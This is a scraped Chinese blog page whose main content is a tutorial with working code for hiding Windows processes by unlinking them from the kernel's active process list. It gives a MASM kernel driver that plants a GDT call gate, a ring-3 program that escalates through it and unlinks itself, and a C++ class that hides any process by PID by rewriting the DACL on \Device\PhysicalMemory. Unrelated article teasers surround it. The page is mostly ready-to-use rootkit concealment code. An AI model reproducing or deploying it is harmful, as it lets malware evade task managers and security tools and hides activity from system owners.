修改活动进程链来隐藏进程代码

无法找到来自源 nvlddmkm 的事件 ID 14 的描述 具体错误是: 无法找到来自源 nvlddmkm 的事件 ID 14 的描述。本地计算机上未安装引发此事件的组件,或者安装已损坏。可以安装或修复本地计算机上的组件。 出现这样错误的原因有很多了,有可能是硬件有可能是软件。由于我是刚配置的电脑,起初非常怀疑是自己组装的问题,折腾了好久,心态爆炸!!!先说我报这样错误的情况,以及解决办法,供后面人参考。 ... 阅读详情

汇编:

by zjjm

很多贴子都写过如何修改活动进程链来隐藏进程,但大多不说明原因,让别人知其然不知其所以然,今天俺来发个贴子献献丑。
大家可能使用过PsGetCurrentProcess函数来获取当前线程的EPROCESS,如果你反汇编这个函数的话,你一定会发现这可能是内核中最简单的一个函数了,只有三行:

mov eax, fs:0x00000124;

mov eax, [eax + 0x44];

ret

这么简单的代码也行?当然可以!Windows中有一个叫Kernel's Processor Control Block (KPRCB),核心处理控制块)模块的好东东,它总是位于0xffdff120地址,它的数据结构也不复杂,双字指向一个地址,这个地址叫做ETHREAD块,0xffdff124指向当前线程的ETHREAD块,再下一个就是下个线程的ETHREAD块,简单吧,ETHREAD块的数据结构相对复杂,不过你只需要知道它的offset 0x44处为EPROCESS块的地址就可以了,这就是三行代码就可以得到当前线程的EPROCESS地址的原因!EPROCESS块中有个有趣的数据结构叫活动进程链,它只有两个双字,一个FlINK,一个BLINK,FLINK指向下一个EPROCESS块的FLINK地址,BLINK则指向上一个EPROCESS块的BLINK地址,要想隐藏进程的话,只需要把自己脱链就可以了,呵呵!

mov eax,dword ptr ds:[0ffdff124h] ;ETHREAD地址
mov eax,[eax+44h] ;EPROCESS地址
mov ecx,088h ;XP中活动进程链地址,NT下为0x98,2000下为0xA0,自己看着办吧!
mov esi,dword ptr[eax+ecx] ;XP中FLINK
mov edi,dword ptr[eax+ecx+4] ;BLINK

mov dword ptr[esi+4],edi ;BLINK放到后一个BLINK
mov dword ptr[edi],esi ;FLINK放到前一个FLINK

以下是一个例子!

.386p
.model flat, stdcall
option casemap:none
include /masm32/include/windows.inc
include /masm32/include/kernel32.inc
include /masm32/include/user32.inc
include    macros.asm
include masm32.inc
include debug.inc
include advapi32.inc
includelib debug.lib
includelib masm32.lib
includelib /masm32/lib/user32.lib
includelib /masm32/lib/kernel32.lib
includelib advapi32.lib

.data

dwFileSize    dd    0
hFile    dd    0
hMemory    dd    0
pMemory    dd    0
FunBase    dd    0b6a8h


tmp db 50 dup(90)
Callgt dd 0
    dw 353h

.data?

hInstance HINSTANCE ?
CommandLine LPSTR ?


.code
WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
   LOCAL wc:WNDCLASSEX
   LOCAL msg:MSG
   LOCAL hwnd:HWND
   mov   wc.cbSize,SIZEOF WNDCLASSEX
   mov   wc.style, CS_HREDRAW or CS_VREDRAW
   mov   wc.lpfnWndProc, OFFSET WndProc
   mov   wc.cbClsExtra,NULL
   mov   wc.cbWndExtra,NULL
   push hInst
   pop   wc.hInstance
   mov   wc.hbrBackground,COLOR_WINDOW+1
   mov   wc.lpszMenuName,NULL
   mov   wc.lpszClassName,CTXT("HIDE")
   invoke LoadIcon,NULL,IDI_APPLICATION
   mov   wc.hIcon,eax
   mov   wc.hIconSm,0
   invoke LoadCursor,NULL,IDC_ARROW
   mov   wc.hCursor,eax
   invoke RegisterClassEx, addr wc
   INVOKE CreateWindowEx,NULL,CTXT("HIDE"),CTXT("HIDE"),/
      WS_OVERLAPPEDWINDOW,CW_USEDEFAULT,/
      CW_USEDEFAULT,CW_USEDEFAULT,CW_USEDEFAULT,NULL,NULL,/
      hInst,NULL
   mov   hwnd,eax
   INVOKE ShowWindow, hwnd,SW_SHOWNORMAL
   INVOKE UpdateWindow, hwnd
   .WHILE TRUE
          INVOKE GetMessage, ADDR msg,NULL,0,0
          .BREAK .IF (!eax)
          INVOKE TranslateMessage, ADDR msg
          INVOKE DispatchMessage, ADDR msg
   .ENDW
   mov   eax,msg.wParam
   ret
WinMain endp
WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
   LOCAL hdc:HDC
   LOCAL ps:PAINTSTRUCT
   LOCAL rect:RECT
   .IF uMsg==WM_CLOSE
       invoke DestroyWindow,hWnd
       invoke PostQuitMessage,NULL
   .ELSEIF uMsg==WM_PAINT
       invoke BeginPaint,hWnd, ADDR ps
       mov   hdc,eax
       invoke GetClientRect,hWnd, ADDR rect
       invoke DrawText, hdc,CTXT("不用ICESWORD,你能看见俺吗?"),-1, ADDR rect, DT_SINGLELINE or DT_CENTER or DT_VCENTER
       invoke EndPaint,hWnd, ADDR ps
   .ELSE
       invoke DefWindowProc,hWnd,uMsg,wParam,lParam
       ret
   .ENDIF
   xor   eax,eax
   ret
WndProc endp
_OpenSys    proc
   
   
local hSCManager:HANDLE
local hService:HANDLE
local acDriverPath[MAX_PATH]:CHAR

   ; Open a handle to the SC Manager database
   invoke OpenSCManager, NULL, NULL, SC_MANAGER_CREATE_SERVICE
   .if eax != NULL
       mov hSCManager, eax

       push eax
       invoke GetFullPathName, CTXT("sys.sys",0), sizeof acDriverPath, addr acDriverPath, esp
     pop eax

       ; Register driver in SCM active database
       invoke CreateService, hSCManager, CTXT("sys",0), CTXT("System",0), /
               SERVICE_START + DELETE, SERVICE_KERNEL_DRIVER, SERVICE_DEMAND_START, /
               SERVICE_ERROR_IGNORE, addr acDriverPath, NULL, NULL, NULL, NULL, NULL
       .if eax != NULL
           mov hService, eax
           invoke StartService, hService, 0, NULL
           ; Here driver beeper.sys plays its nice melody
           ; and reports error to be removed from memory
           ; Remove driver from SCM database
           invoke DeleteService, hService
           invoke CloseServiceHandle, hService
       .else
           invoke MessageBox, NULL, CTXT("Can't register driver.",0), NULL, MB_ICONSTOP
       .endif
       invoke CloseServiceHandle, hSCManager
   .else
       invoke MessageBox, NULL, CTXT("Can't connect to Service Control Manager.",0), /
                           NULL, MB_ICONSTOP
   .endif
   ret

_OpenSys endp
start:


invoke    _OpenSys
   
       

call   fword ptr [Callgt]         ;use callgate to Ring0!

mov eax,esp   ;save ring0 esp
mov esp,[esp+4];->ring3 esp
push eax

pushfd
pushad

mov eax,dword ptr ds:[0ffdff124h] ;ETHREAD地址
mov eax,[eax+44h] ;EPROCESS地址
mov ecx,088h
mov esi,dword ptr[eax+ecx] ;XP中FLINK
mov edi,dword ptr[eax+ecx+4] ;BLINK

mov dword ptr[esi+4],edi ;BLINK放到后一个BLINK
mov dword ptr[edi],esi ;FLINK放到前一个FLINK


popad
popfd

pop esp   ;restore ring0 esp
push offset Exit
retf

Exit:
invoke    _OpenSys
invoke Sleep,2 ;

   invoke GetModuleHandle, NULL
   mov   hInstance,eax
   invoke GetCommandLine
   invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT
   invoke ExitProcess,NULL
end start



附件: HIDE.zip (3 K)

sys.sys只是负责生成一个调用门,代码如下:

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;
; CallGate - Kernel Mode Driver
;
; Written by zjjmj2002 (
zjjmj2002@tom.com)
;
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.386
.model flat, stdcall
option casemap:none

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                       I N C L U D E   F I L E S                          
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

include /masm32/include/w2k/ntstatus.inc
include /masm32/include/w2k/ntddk.inc

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                           C O D E                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

.code

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                           DriverEntry                                
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

DriverEntry proc pDriverObject:PDRIVER_OBJECT, pusRegistryPath:PUNICODE_STRING

pushfd
pushad

push edx
sgdt [esp-2]
pop edx
mov eax,edx
mov ecx,350h

.if dword ptr [edx+ecx+2]!=0ec000358h
mov byte ptr [edx],0c3h
mov word ptr [edx+ecx],ax
shr eax,16
mov word ptr [edx+ecx+6],ax
mov dword ptr [edx+ecx+2],0ec000358h
mov dword ptr [edx+ecx+8],0000ffffh
mov dword ptr [edx+ecx+12],00cf9a00h
.endif

popad
popfd

mov eax, STATUS_DEVICE_CONFIGURATION_ERROR
ret

DriverEntry endp

;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
;                                                                  
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

end DriverEntry

======c代码 by ks12345

// HideProcess.cpp: implementation of the CHideProcess class.
//进程隐藏程序
// 要隐藏时调用HideProcess即可
//////////////////////////////////////////////////////////////////////

#include <windows.h>
#include <Accctrl.h>
#include <Aclapi.h>


#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS;

typedef struct _IO_STATUS_BLOCK
{
   NTSTATUS Status;
   ULONG Information;
} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING
{
   USHORT Length;
   USHORT MaximumLength;
   PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;

#define OBJ_INHERIT               0x00000002L
#define OBJ_PERMANENT               0x00000010L
#define OBJ_EXCLUSIVE               0x00000020L
#define OBJ_CASE_INSENSITIVE       0x00000040L
#define OBJ_OPENIF                   0x00000080L
#define OBJ_OPENLINK               0x00000100L
#define OBJ_KERNEL_HANDLE           0x00000200L
#define OBJ_VALID_ATTRIBUTES       0x000003F2L

typedef struct _OBJECT_ATTRIBUTES
{
   ULONG Length;
   HANDLE RootDirectory;
   PUNICODE_STRING ObjectName;
   ULONG Attributes;
   PVOID SecurityDescriptor;
   PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

//
// SYSTEM_INFORMATION_CLASS
//
typedef enum _SYSTEM_INFORMATION_CLASS
{
   SystemHandleInformation = 16
} SYSTEM_INFORMATION_CLASS;

//
// SYSTEM_HANDLE_INFORMATION
// Information Class 16
//
typedef struct _SYSTEM_HANDLE_INFORMATION
{
   ULONG                ProcessId;
   UCHAR                ObjectTypeNumber;
   UCHAR                Flags;
   USHORT                Handle;
   PVOID                Object;
   ACCESS_MASK            GrantedAccess;
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;


typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(
                                          OUT PHANDLE SectionHandle,
                                          IN ACCESS_MASK DesiredAccess,
                                          IN POBJECT_ATTRIBUTES ObjectAttributes
                                          );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)(
                                            IN OUT PUNICODE_STRING DestinationString,
                                            IN PCWSTR SourceString
                                            );

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) (
                               IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
                               IN OUT PVOID SystemInformation,
                               IN ULONG SystemInformationLength,
                               OUT PULONG ReturnLength OPTIONAL
                               );


RTLINITUNICODESTRING        RtlInitUnicodeString     = NULL;
ZWOPENSECTION                ZwOpenSection             = NULL;
ZWQUERYSYSTEMINFORMATION    ZwQuerySystemInformation = NULL;
HMODULE     g_hNtDLL = NULL;
PVOID         g_pMapPhysicalMemory = NULL;
HANDLE         g_hMPM = NULL;
OSVERSIONINFO g_osvi;
//---------------------------------------------------------------------------

BOOL CHideProcess::m_bInit = FALSE;
CHideProcess CHideProcess::m_NoAction;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CHideProcess::CHideProcess()
{
   m_bInit = InitNTDLL();
}

CHideProcess::~CHideProcess()
{
   CloseNTDLL();
}

// load dll and get functions
BOOL CHideProcess::InitNTDLL()
{
   // load dll
   if (NULL == g_hNtDLL)
   {
       g_hNtDLL = LoadLibrary(_T("ntdll.dll"));
       if (NULL == g_hNtDLL)
       {
           return FALSE;
       }
   }
   
   // get functions
   RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");
   ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");
   ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );
   if ((RtlInitUnicodeString == NULL)
       || (ZwOpenSection == NULL)
       || (ZwQuerySystemInformation == NULL))
   {
       return FALSE;
   }

   m_bInit = TRUE;
   return TRUE;
}
//---------------------------------------------------------------------------
VOID CHideProcess::CloseNTDLL()
{
   if (NULL != g_hNtDLL)
   {
       FreeLibrary(g_hNtDLL);
       g_hNtDLL = NULL;
       m_bInit = FALSE;
   }
}
//---------------------------------------------------------------------------
VOID CHideProcess::SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)
{
   PACL pDacl                    = NULL;
   PSECURITY_DESCRIPTOR pSD    = NULL;
   PACL pNewDacl = NULL;
   
   DWORD dwRes = GetSecurityInfo(
                                   hSection,
                                   SE_KERNEL_OBJECT,
                                   DACL_SECURITY_INFORMATION,
                                   NULL,
                                   NULL,
                                   &pDacl,
                                   NULL,
                                   &pSD
                                   );
   
   if(ERROR_SUCCESS != dwRes)
   {
       
       if(pSD)
           LocalFree(pSD);
       if(pNewDacl)
           LocalFree(pNewDacl);
   }
   
   EXPLICIT_ACCESS ea;
   RtlZeroMemory(&ea, sizeof(EXPLICIT_ACCESS));
   ea.grfAccessPermissions = SECTION_MAP_WRITE;
   ea.grfAccessMode = GRANT_ACCESS;
   ea.grfInheritance= NO_INHERITANCE;
   ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;
   ea.Trustee.TrusteeType = TRUSTEE_IS_USER;
   ea.Trustee.ptstrName = "CURRENT_USER";
   
   dwRes = SetEntriesInAcl(1,&ea,pDacl,&pNewDacl);
   
   if(ERROR_SUCCESS != dwRes)
   {
       
       if(pSD)
           LocalFree(pSD);
       if(pNewDacl)
           LocalFree(pNewDacl);
   }
   dwRes = SetSecurityInfo(
                           hSection,
                           SE_KERNEL_OBJECT,
                           DACL_SECURITY_INFORMATION,
                           NULL,
                           NULL,
                           pNewDacl,
                           NULL
                           );
   
   if(ERROR_SUCCESS != dwRes)
   {        
       if(pSD)
           LocalFree(pSD);
       if(pNewDacl)
           LocalFree(pNewDacl);
   }
   
}
//---------------------------------------------------------------------------
HANDLE CHideProcess::OpenPhysicalMemory()
{
   NTSTATUS status;
   UNICODE_STRING physmemString;
   OBJECT_ATTRIBUTES attributes;
   ULONG PhyDirectory;
   
   g_osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
   GetVersionEx (&g_osvi);
   
   if (5 != g_osvi.dwMajorVersion)
       return NULL;
   
   switch(g_osvi.dwMinorVersion)
   {
   case 0:
       PhyDirectory = 0x30000;
       break; // 2k
   case 1:
       PhyDirectory = 0x39000;
       break; // xp
   case 2:
       PhyDirectory = 0x39000;
       break; // 2k03
   default:
       AfxMessageBox(_T("init PhysicalMemory: Unknown version..."));
       TFileTrace(_T("init PhysicalMemory: Unknown version.../n"));
       return NULL;
   }
   
   RtlInitUnicodeString(&physmemString, L"//Device//PhysicalMemory");
   
   attributes.Length                    = sizeof(OBJECT_ATTRIBUTES);
   attributes.RootDirectory            = NULL;
   attributes.ObjectName                = &physmemString;
   attributes.Attributes                = 0;
   attributes.SecurityDescriptor        = NULL;
   attributes.SecurityQualityOfService    = NULL;
   
   status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
   
   if(status == STATUS_ACCESS_DENIED)
   {
       status = ZwOpenSection(&g_hMPM, READ_CONTROL|WRITE_DAC, &attributes);
       SetPhyscialMemorySectionCanBeWrited(g_hMPM);
       CloseHandle(g_hMPM);
       status = ZwOpenSection(&g_hMPM, SECTION_MAP_READ|SECTION_MAP_WRITE, &attributes);
   }
   
   if(!NT_SUCCESS(status))
   {
       AfxMessageBox(_T("Open section: //Device//PhysicalMemory failed..."));
       TFileTrace(_T("Open section: //Device//PhysicalMemory failed.../n"));
       return NULL;
   }
   
   TFileTrace(_T("OpenPhysicalMemory() OffSet: %p/n"), PhyDirectory);
   g_pMapPhysicalMemory = MapViewOfFile(    // ZwMapViewOfSection
                                       g_hMPM,        // handle
                                       FILE_MAP_READ|FILE_MAP_WRITE,
                                       0,                // offset high part
                                       PhyDirectory,    // offset low part        
                                       0x1000            // size
                                       );
   
   if( g_pMapPhysicalMemory == NULL )
   {
       AfxMessageBox(_T("//Device//PhysicalMemory MapViewOfFile failed..."));
       TFileTrace(_T("//Device//PhysicalMemory MapViewOfFile failed..."));
       return NULL;
   }
   
   return g_hMPM;
}
//---------------------------------------------------------------------------
PVOID CHideProcess::LinearToPhys(PULONG BaseAddress, PVOID addr)
{
   ULONG VAddr = (ULONG)addr;
   ULONG PGDE = BaseAddress[VAddr>>22];
   ULONG PTE;
   ULONG PAddr;
   
   if (0 == (PGDE & 1))
       return 0;
   
   ULONG tmp = PGDE & 0x00000080;
   
   if (0 != tmp)
   {
       PAddr = (PGDE & 0xFFC00000) + (VAddr & 0x003FFFFF);
   }
   else
   {
       TFileTrace(_T("GetData() OffSet: %p/n"), PGDE & 0xfffff000);
       PGDE = (ULONG)MapViewOfFile(g_hMPM, 4, 0, PGDE & 0xfffff000, 0x1000);
       PTE = ((PULONG)PGDE)[(VAddr&0x003FF000)>>12];
       
       if (0 == (PTE&1))
           return 0;
       
       PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF);
       UnmapViewOfFile((PVOID)PGDE);
   }
   
   return (PVOID)PAddr;
}
//---------------------------------------------------------------------------
ULONG CHideProcess::GetData(PVOID addr)
{
   ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
   TFileTrace(_T("GetData() g_pMapPhysicalMemory: %p, addr: %p, phys: %p/n"),
       g_pMapPhysicalMemory, addr, phys);
   TFileTrace(_T("GetData() OffSet: %p/n"), phys & 0xfffff000);
   PULONG tmp = (PULONG)MapViewOfFile(
                                   g_hMPM,
                                   FILE_MAP_READ|FILE_MAP_WRITE,
                                   0,
                                   phys & 0xfffff000,    // offset low part
                                   0x1000                // size
                                   );
   
   if (0 == tmp)
       return 0;
   
   ULONG ret = tmp[(phys & 0xFFF)>>2];
   UnmapViewOfFile(tmp);
   
   return ret;
}
//---------------------------------------------------------------------------
BOOL CHideProcess::SetData(PVOID addr,ULONG data)
{
   ULONG phys = (ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory, (PVOID)addr);
   TFileTrace(_T("SetData() OffSet: %p/n"), phys & 0xfffff000);
   PULONG tmp = (PULONG)MapViewOfFile(
                                       g_hMPM,
                                       FILE_MAP_WRITE,
                                       0,
                                       phys & 0xfffff000,
                                       0x1000
                                       );
   
   if (0 == tmp)
       return FALSE;
   
   tmp[(phys & 0xFFF)>>2] = data;
   UnmapViewOfFile(tmp);
   
   return TRUE;
}
//---------------------------------------------------------------------------
/*
long __stdcall CHideProcess::exeception(struct _EXCEPTION_POINTERS *tmp)
{
   ExitProcess(0);
   return 1 ;
}
//*/
//---------------------------------------------------------------------------
DWORD CHideProcess::GetEprocessFromPid (ULONG PID)
{
   NTSTATUS                    status;
   PVOID                        buf   = NULL;
   ULONG                        size = 1;
   ULONG                        NumOfHandle = 0;
   ULONG                        i;
   PSYSTEM_HANDLE_INFORMATION    h_info = NULL;
   DWORD dwCurrentID = GetCurrentProcessId();
   // TRACE(_T("GetCurrentProcessId = %d/n"), dwCurrentID);
   
   // LocateNtdllEntry( );
   //打开自身句柄,这样才能在 handle 列表中找到自己, PROCESS 对应 ObjectTypeNum 为5
   HANDLE hProc = OpenProcess(
                               // PROCESS_ALL_ACCESS,
                               PROCESS_QUERY_INFORMATION,
                               FALSE,
                               PID // GetCurrentProcessId() //
                               );
   if (NULL == hProc)
   {
       TRACE(_T("OpenProcess failed! GetLastError() = %d/n"), GetLastError());
       TFileTrace(_T("OpenProcess failed! GetLastError() = %d/n"), GetLastError());
       return 0;
   }

   for ( size = 1024; ; size *= 2 )
   {
       if ( NULL == ( buf = calloc( size, 1 ) ) )
       {
           TRACE( _T("calloc( %u, 1 ) failed/n"), size );
           TFileTrace(_T("calloc( %u, 1 ) failed/n"), size );
           if ( buf != NULL )
           {
               free( buf );
               buf = NULL;
           }
           CloseHandle(hProc);
           return 0;
       }
       status = ZwQuerySystemInformation( SystemHandleInformation, buf, size, NULL );
       if ( !NT_SUCCESS( status ) )
       {
           if ( STATUS_INFO_LENGTH_MISMATCH == status )
           {
               free( buf );
               buf = NULL;
               continue;
           }
           else
           {
               TFileTrace( "ZwQuerySystemInformation() failed/n");
               TRACE( "ZwQuerySystemInformation() failed/n");
               if ( buf != NULL )
               {
                   free( buf );
                   buf = NULL;
               }
               CloseHandle(hProc);
               return 0;
           }
       }
       else
       {
           break;
       }
   } /* end of for */
   
   //返回到缓冲区的首先是一个ULONG类型的数据,表示有多少数组
   NumOfHandle = *((PULONG)buf);
   
   h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf + 4);

   for(i = 0; i < NumOfHandle; i++)
   {
       if(h_info
.ProcessId == dwCurrentID)//&&( h_info.Handle==0x3d8 ) )
       {
           // TRACE(_T("ProcessId: %d, Handle: %p, OBJECT: %p, ObjectTypeNumber: %d/n/r"),
           //    PID, h_info
.Handle, h_info.Object, h_info.ObjectTypeNumber);
           if (h_info
.Handle == (DWORD)hProc) // (h_info.ObjectTypeNumber == 5)
           {
               // TRACE(_T("****ProcessId: %d, Handle:%p, OBJECT %p/n/r"),
               //    PID, hProc, h_info
.Object);
               DWORD dwRet = (DWORD)(h_info
.Object);
               if (buf != NULL)
               {
                   free( buf );
                   buf = NULL;
               }
               CloseHandle(hProc);
               return dwRet;
           }
       }
   }

   if ( buf != NULL )
   {
       free( buf );
       buf = NULL;
   }
   CloseHandle(hProc);
   return 0;
}

// 隐藏进程主函数
BOOL CHideProcess::YHideProcess(DWORD dwID)
{
   //
   if (!m_bInit)
   {
       AfxMessageBox(_T("load NTDLL failed..."));
       TFileTrace(_T("load NTDLL failed.../n"));
       return FALSE;
   }

   // 获得指向进程的 EPROCESS 数据块的指针
   ULONG process = (ULONG)GetEprocessFromPid(dwID);
   if (process == 0)
   {
       //
       TFileTrace(_T("GetEprocessFromPid() failed.../n"));
       return FALSE;
   }
   TFileTrace(_T("GetEprocessFromPid() process = %p.../n"), process);
   
   // 这个是打开对应的系统内存,并且映射为一个核心对象
   if (NULL == OpenPhysicalMemory())
   {
       AfxMessageBox(_T("OpenPhysicalMemory() failed..."));
       TFileTrace(_T("OpenPhysicalMemory() failed.../n"));
       return FALSE;
   }
   //
   // 下面的两个 if 完成对 Windows 的系统版本判断(只判断了2K和XP),
   // 并且根据不同的系统确定 EPROCESS 块中两个指针 FLINK 和 BLINK 的偏移位置
   ULONG fw, bw;
   if (0 == g_osvi.dwMinorVersion)
   {
       // in Win2000/Vista:
       fw = GetData(PVOID(process + 0xa0));
       bw = GetData(PVOID(process + 0xa4));        
   }
   else if ((1 == g_osvi.dwMinorVersion)
       || (2 == g_osvi.dwMinorVersion))
   {
       // in WinXP: in Win2003
       fw = GetData(PVOID(process + 0x88));
       bw = GetData(PVOID(process + 0x8c));        
   }

   // ****
   TRACE(_T("process = %p/tfw = %p/tbw = %p ****Correct/n"), process, fw, bw);
   TFileTrace(_T("process = %p/tfw = %p/tbw = %p ****Correct/n"), process, fw, bw);

   // 下面的两个SetData完成对进程活动链的更改,
   // 也就是让进程活动链跳过当前进程的EPROCESS块
   SetData(PVOID(fw + 4), bw);
   SetData(PVOID(bw), fw);
   
   // 完成了
   UnmapViewOfFile(g_pMapPhysicalMemory);
   g_pMapPhysicalMemory = NULL;
   CloseHandle(g_hMPM);
   g_hMPM = NULL;
   
   return TRUE;
}

// 隐藏进程接口
BOOL CHideProcess::HideCurrent()
{
   TFileTrace(_T("Hide Current Process ID = %d /n"), GetCurrentProcessId());
   return YHideProcess(GetCurrentProcessId());
}

// 隐藏进程接口
BOOL CHideProcess::HideByID(DWORD dwID)
{
   TFileTrace(_T("Hide Process ID = %d /n"), dwID);
   return YHideProcess(dwID);
}

class CHideProcess
{
public:
   // 接口:隐藏当前进程
   static BOOL HideCurrent();

   // 接口:隐藏当前进程
   static BOOL HideByID(DWORD dwID);

   // 析构
   virtual ~CHideProcess();
protected:
   static BOOL        InitNTDLL();
   static BOOL        YHideProcess(DWORD dwID);
   static VOID        CloseNTDLL();
   static VOID        SetPhyscialMemorySectionCanBeWrited(HANDLE hSection);
   static HANDLE    OpenPhysicalMemory();
   static PVOID    LinearToPhys(PULONG BaseAddress, PVOID addr);
   static ULONG    GetData(PVOID addr);
   static BOOL        SetData(PVOID addr,ULONG data);
   static DWORD    GetEprocessFromPid (ULONG PID);
   // long __stdcall exeception(struct _EXCEPTION_POINTERS *tmp);

protected:
   static BOOL m_bInit;
   static CHideProcess m_NoAction;

private:
   // 构造析构
   CHideProcess();
};

 

YOLOv11改进 | 特殊场景检测篇 | 利用图像去雾网络UnfogNet改进yolov11图像雾天检测能力(全网独家首发改进) 本文给大家带来的改进机制是利用UnfogNet超轻量化图像去雾网络,我将该网络结合YOLOv11针对图像进行去雾检测(也适用于一些模糊场景),我将该网络结构和YOLOv11的网络进行结合同时该网络的结构的参数量非常的小,我们将其添加到模型里增加的计算量和参数量基本可以忽略不计这是非常难得的,因为其也算是一种图像增强算法,同时本文的内容不影响其它的模块改进可以作为工作量凑近大家的论文里,非常的适用,图像去雾检测为群友最近提出的需要的改进。欢迎大家订阅我的专栏一起学习YOLO! 阅读详情

相关推荐

命名管道和匿名管道

我们知道进程间是可以通信的。可以达到数据传输、资源共享、事件通知、进程控制等目的。进程间通信主要包括管道、系统IPC,套接字等。 管道分为三种: 普通管道:一是单工,只能单向传输 ,二是仅能在父子进程或者兄弟进程中使用。 流管道:去除了第一种限制,为半双工,可以双向传递, 命名管道:去除了第二种限制 ,可以在很多并不相关的进程 中进行通信。 1、普通管道 int pipe(int f...

ffsiwei的博客 1万+

以程序的方式操纵NTFS的文件权限

以程序的方式操纵NTFS的文件权限 发表日期:2004-01-29 作者:陈皓[] 出处:   Windows NT/2K/XP版本的操作系统都支持NTFS格式的文件系统,这是一个有安全性质的文件系统,你可以通过Windows的资源管理器来设置对每个目录和文件的用户访问权限。这里我就不对NTFS的安全性进行讲述了,我默认你对NTFS的文件目

wangwenwen的专栏 682

pytorch gpu运行安装重点(CUDA12.3)

pytorch gpu加速

weixin_45597212的博客 3万+

用户态隐藏进程的通用版本

一般基于HOOK ZwQuerySystemInformation的隐藏进程都是在驱动模式下进行的, 在这里通过操作内存实现了. 而且达到了不同系统版本的通用性. 厉害...来自驱动开发网的东东....比较适合我们这种驱动白痴 ^_^注:在测试过程中.因为是命令行模式,所以在任务管理器的应用程序中看的到, 实际上在进程中已经隐藏了...其他的自己改吧...下面是源代码:#include #incl

3010

如何在OBS中添加实时时间戳:Lua脚本配置教程(附效果展示)

本文详细介绍了如何在OBS中通过Lua脚本配置实时时间戳功能,包括环境准备、脚本获取、安装配置及高级定制。适用于直播和视频录制场景,提供精准回溯和风格自定义,支持多平台适配和性能优化,是专业制作的必备技巧。

day7的博客 1045

24V供电D1047/B817对管AB类音频功放设计与制作全解析

音频功率放大器是电子系统将微弱音频信号放大驱动扬声器的核心电路,其核心原理是通过晶体管或集成电路对信号进行电压和电流放大。从技术价值看,优秀的功放设计需兼顾效率、保真度与稳定性,AB类放大器便是经典折中方案,它在A类低失真与B类高效率间取得平衡。在应用场景上,这类电路广泛应用于家用音响、多媒体音箱、车载音频及DIY音频项目。本文聚焦于一个采用24V直流供电、以D1047和B817互补对管为核心输出级的AB类功放实例,深入剖析其**电路设计**与**元件选型**,涵盖从BC547小信号放大、偏置设置、PCB布

weixin_31355483的博客 418

windows访问控制列表 --ACL(Access Control List)

1、定义     ACL是一个windows中的表示用户(组)权限的列表。   Access Control List(ACL) Access Control Entry(ACE) ... 2、分类   ACL分为两类     1,Discretionary Access Control List (DACL) 自由访问控制列表    ...

weixin_30628077的博客 1384

从零到一:用MSC Nastran Patran搞定悬臂翼颤振分析(附完整模型文件)

本文详细介绍了使用MSC Nastran和Patran进行悬臂翼颤振分析的完整流程,从几何建模、网格划分到模态分析和颤振求解。通过具体案例讲解关键参数设置和操作技巧,帮助工程师掌握气动弹性分析的核心方法,并附赠完整模型文件供实践参考。

weixin_42563415的博客 443

Windows授权---Windows Authorization

授权 目的 Purpose 授权是指使用系统以及系统中的数据的权利的赋予。授权一般由系统管理员设置、并由计算机根据用户的身份,比如代码数字、密码,来进行区分。 微软的授权包括授权管理和授权API两部分。 面向的开发者受众 Developer audience 微软的授权技术是为那些基于Windows Server和控制访问资源的操作系统开发应用程序的开发者设计的。开发者需要熟悉Wi...

刘国元的专栏 3258

ADES1831和ADBMS6830

